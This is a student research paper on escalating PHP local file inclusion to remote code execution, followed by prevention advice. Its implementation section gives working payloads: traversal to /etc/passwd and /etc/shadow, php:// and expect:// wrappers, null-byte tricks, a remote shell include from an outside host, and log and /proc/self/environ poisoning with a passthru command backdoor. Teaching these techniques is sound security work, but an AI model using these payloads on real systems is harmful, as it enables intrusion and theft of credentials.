Local File Inclusion to Remote Code Execution

Uzma Sheikh[1], Dr. Ravi Sheth[2]
[1]*Student at M.Tech., School of Information Technology & Cyber Security, Raksha Shakti University, Lavad, Dahegam, Gandhinagar, Gujarat, India*
[2]*Asst. Prof, School of Information Technology & Cyber Security, Raksha Shakti University, Lavad, Dahegam, Gandhinagar, Gujarat, India*

***Abstract*- Web applications are designed to present to any user with a web browser a system-independent interface to some dynamically generated content. By my analysis over the last several years, web applications and their importance have increased. Simultaneously of growing web applications, the quantity and impact of security vulnerabilities in such applications have grown as well. The application may be designed with the acceptance that users will only enter valid data as the programmer deliberate, in terms of both data and ways of entering input. However, if the user's input is not handled properly, serious security problems can eventuate. There are possible separate methods that can be used to trigger the execution of code on both the client and the server-side. LFI attack reveals the sensitive information of the server by simply adding some extra payloads in URLs or requests. LFI attacks lead to password files configuration files and some of the sensitive files of the systems. RCE execute/upload malicious script in the server that leads to the access control of the system. In this paper, we show how we can perform RCE through LFI.**

***Index terms*- LFI, RCE, RFI, Local file inclusion in a web app, Remote code execution in a web app, LFI to RCE**

I.INTRODUCTION

What is LFI? Local file inclusion is a vulnerability in some of the web applications because the website reads files from the server but the developer doesn't filter the input from the user he trusts them.
It originates from including "internal" files on a victim website. In many situations, it's necessary to include content from the local file. But if you use it carelessly, it may lead to LFI vulnerability.
This method is often used in Linux to get "/etc/passwd" and sometimes "/etc/shadow"

What is RCE? Remote Code execution this is a bug that gives the attacker permissions to execute a command on the server.
RCE is the technique to attack the website by injecting PHP script into the target website. It's including "External" files (PHP Shell) in a victim website.

II. OVERVIEW

As most web application vulnerabilities, the problem is mostly caused due to insufficient user input validation. Many times, when developing web application software, it is required to access internal or external resources from several points of the application. For example, there might be a need to load and evaluate PHP code from another file that is located in a different location.
LFI allows an attacker to include a local file on the webserver. It occurs due to the use of not properly sanitized user input. LFI attacks reveal the config file of the system, password, or database connection file too. LFI leads to out pouting source code or sensitive information, code execution (server-side/client-side), Denial of Service (DoS).
In RCE Attackers run their own code on a vulnerable website, the attack involves importing code into a program by taking advantage of the unenforced and unchecked assumptions the program makes about its inputs. If the attacker can include their own malicious code on a web page, it is possible to "convince" a PHP script to include a remote file instead of a presumably trusted file from the local file system.

III. IMPLEMENTATION AND RESEARCH

1. Local File Inclusion
Normally, we use LFI to read following files,
/etc/passwd

/etc/shadow
/etc/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
or
Dababase Configuration (config.inc.php)
The following is an example of PHP code vulnerable to local file inclusion.

```
<?php
$file = $_GET[‘file’];
if(isset($file))
{
include(“pages/$file”);
}
else
{
include(“index.php”);
}
?>
```

LFI vulnerabilities are easy to identify and exploit. Any script that includes a file from a web server is a good candidate for further LFI testing, for example:
/script.php?page=index.html
It is injectable by this,
/script.php?page=../../../../../../../../etc/passwd
This is an effort to display the contents of the /etc/passwd file on a UNIX / Linux based system.
Some are different PHP rappers use in LFI
php?page=expect://ls
/fi/?page=php://input&cmd=ls
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/resource=/etc/passwd
Useful Shell
<? system(‘uname -a’);?
Null Byte Technique
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd%2500

2. Remote Code Execution

Remote Code Execution, known as RCE/RFI, is the technique to attack websites by injecting PHP script into the target website. It's including "External" files (PHP Shell) in a victim website. If an attacker exploits successfully, he can execute arbitrary commands on the victim web server.
Vulnerable PHP code shown below,

```
<?php
        $file =$_GET['page'];
        include($file .".php"); !!
?>
```

Here any shell file shell.php is executed in the server. From Code, It does not perform any checks on the content of the $page variable so it is easy
to put our file (PHP Shell) into webpage like this,
http://www.abc.com/index.php?page=http://www.xyz.org/12.php?
And then the below code executed

```
<?php
     $file ="http://www.xyz.org/12.php?";
//$_GET['page'];
    include($file .".php"); //include
http://www.abc.org/C99.php?.php
?>
```

We put "?" at the end of the URL, This makes the script fetch the intended file, with the appended string as a parameter
We also can execute RCE by uploading the unrestricted file or shell file in upload functionality if there is a no security check for the file format.
we can apply LFI Vulnerabilities to execute the command by injecting malicious code into Apache log, Process Environment, and Other files. This method is called "Remote Code Execution (RCE)".

3. LFI to RCE

Via logs file:
For this we use LFI commands,
/etc/passwd
/etc/shadow
/etc/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/apache/logs/access.log
etc
Now first we have to find out Malicious HTTP Request must exist to Apache logs.
It looks like this, telnet www.abc.com 80
GET/index.php?p=new.php HTTP/1.1
HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location:
we want to run arbitrary command on target system, we must inject PHP code via HTTP request like <?passthru($_GET[cmd])?>

telnet www.abc.com 80
GET /cwh/<?passthru($_GET[cmd])?> HTTP/1.1

<-- Malicious HTTP Request via Telnet
Now we use LFI Vuln to run arbitrary commands by finding out where the logs are stored.
www.abc.com/index.php?p=../../apache/logs/access.log
In webpage, you will see:
Warning: passthru()[function.passthru]: Cannot execute a blank command in /opt/lampp/apache/logs/access.log on line 457
We have already injected code to logfiles, Now run an arbitrary command with "cmd" variable like this,
www.abc.com/index.php?p=../../apache/logs/access.log%00&cmd=ls –la
and you can see your executed file in the list.

Via Process Environ (User-Agent):
When we request the PHP page, a new process will be created. Each process has its own /proc entry. /proc/self/ is a static path and symbolic link from the latest process used that contain useful information.
In Firefox Browser, we use "User-Agent Switcher Add-ons" that can specify your user agent manually Or use Perl script to specify user agent with malicious code (See Next chapter).
/proc/self/environ would look like this:
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@hackme.com
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
Gecko/2008102920 Firefox/3.0.4
HTTP_KEEP_ALIVE=300
<-- It contains User-agent
When, we injected <?passthru($_GET[cmd])?> into our UserAgent,/proc/self/environ will contain malicious code like this
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@hackme.com
<?passthru($_GET[cmd])?>
HTTP_KEEP_ALIVE=300
Then Go to www.abc.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls –la

VI. PREVENTION

If your organization is using computers or servers that are known to be using software that's vulnerable to remote code execution, the latest vendor patch to mitigate this particular cyber-attack should be timely applied.
As a rule of thumb, to significantly minimize the risk, your company must collect, analyze, and act on the most recent threat intelligence. Your IT team must be equipped with the best tool to apply patches timely thus mitigating the risk of a data breach. Better yet, workstation and server patching can and should be automated to prevent remote code execution and other cyber-attacks.

- Consider implementing a chroot jail
- Check user-supplied files or filenames
- Strongly validate user input, Ensure that all variables are properly initialized before the first use
- Disable allow_url_fopen and allow_url_include
- Disable register_globals and use E_STRICT to find uninitialized variables
- Ensure that all file and stream functions (stream_*) are carefully vetted
- To avoid being injected with remote files, it is essential to specify exactly where the file should be located, e.g. its full path

V. CONCLUSION

So after the understanding of local file inclusion to remote control execution it is quite clear that how it can execute remote files in the system with unauthorized system access. Due lacks into the configuration of the system, even with the help of simple PHP code execution LFI to RCE can be performed easily. For preventing this type of cyber threat, getting the real-time website's example for performing the LFI to RCE could lead to real-time solutions as well.

VI. ACKNOWLEDGMENT

This topic would never have been possible without the support and guidance of various people at the Raksha Shakti University. Firstly I would like to thank Dr. Ravi Sheth for giving me the wonderful opportunity to complete my MTech Research under his supervision, it is truly an honor. Thank you for all

the advice, ideas, moral support, and patience in guiding me through this topic. Thank you for your enthusiasm for the study of cyber security. Your wealth of knowledge in the field is inspiring. Thank you for giving me the opportunity to grow in this field of research. Your ability to repair things, be it situations, or even my handbag keeps astonishing me, thank you for making me feel at home in the anywhere and any situation.

REFERENCES

[1] D. Peeren, "RIPS Technologies Blog," 22 December 2016. [Online]. Available: https://blog.ripstech.com/2016/security-compliance-with-static-code-analysis/.

[2] T. Farah, D. Alam, M. A. Kabir and T. Bhuiyan, "SQLi penetration testing of financial Web applications: Investigation of Bangladesh region," 2015 World Congress on Internet Security (WorldCIS), Dublin, 2015, pp. 146-151.

[3] Z. Su and G. Wassermann, "The essence of command injection attacks in web applications," ACM SIGPLAN Notices, vol. 41, no. 1, pp. 372-382. ACM, 2006.

[4] B. B. Gupta, N. A. G. Arachchilage and K. E. Psannis, "Defending against phishing attacks: taxonomy of methods, current issues and future directions," Telecommunication Systems 67, no. 2 (2018): 247-267

[5] M. Carlisle and B. Fagin, "IRONSIDES: DNS with no single-packet denial of service or remote code execution vulnerabilities," 2012 IEEE Global Communications Conference (GLOBECOM), Anaheim, CA, 2012, pp. 839-844.

[6] Y. Zheng and X. Zhang, "Path sensitive static analysis of web applications for remote code execution vulnerability detection," 2013 35th International Conference on Software Engineering (ICSE), San Francisco, CA, 2013, pp. 652-661.

[7] K. Gupta, R. Ranjan Singh and M. Dixit, "Cross site scripting (XSS) attack detection using intrustion detection system," 2017 International Conference on Intelligent Computing and Control Systems (ICICCS), Madurai, 2017, pp. 199-203.

[8] M. M. Hassan, T. Bhuyian, M. K. Sohel, M. H. Sharif, and S.Biswas, "SAISAN: An Automated Local File Inclusion Vulnerability Detection Model," International Journal of Engineering & Technology 7, no. 2.3 (2018): 4-8.

[9] M. A. Obaida, E Nelson, J. E. Rene V, I. Jahan, and S. Z. Sajal. "Interactive Sensitive Data Exposure Detection Through Static Analysis.", 2017.

[10] A. Shrivastava, S. Choudhary and A. Kumar, "XSS vulnerabilitybassessment and prevention in web application," 2016 2nd International Conference on Next Generation Computing Technologies (NGCT), Dehradun, 2016, pp. 850-853.

[11] A. Begum, M. M. Hassan, T. Bhuiyan and M. H. Sharif, "RFI and SQLi based local file inclusion vulnerabilities in web applications of Bangladesh," 2016 International Workshop on Computational Intelligence (IWCI), Dhaka, 2016, pp. 21-25.

[12] T. Sommestad, H. Holm, and M. Ekstedt, "Estimates of success rates of remote arbitrary code execution attacks," Information Management & Computer Security 20, no. 2 (2012): 107-122.

[13] Engin Kirda, Christopher Kruegel, Giovanni Vigna, and Nenad Jovanovic. Noxes: A client-side solution for mitigating cross-site scripting attacks. In The 21st ACM Symposium on Applied Computing (SAC 2006), 2006.

[14] http://www.securityfocus.com

[15] V. B. Livshits and M. S. Lam. Finding security errors in Java programs with static analysis. In Proceedings of the 14th Usenix Security Symposium, Aug. 2005.

[16] Y. Minamide. Static approximation of dynamically generated web pages. In WWW '05: Proceedings of the 14th International Conference on World Wide Web, 2005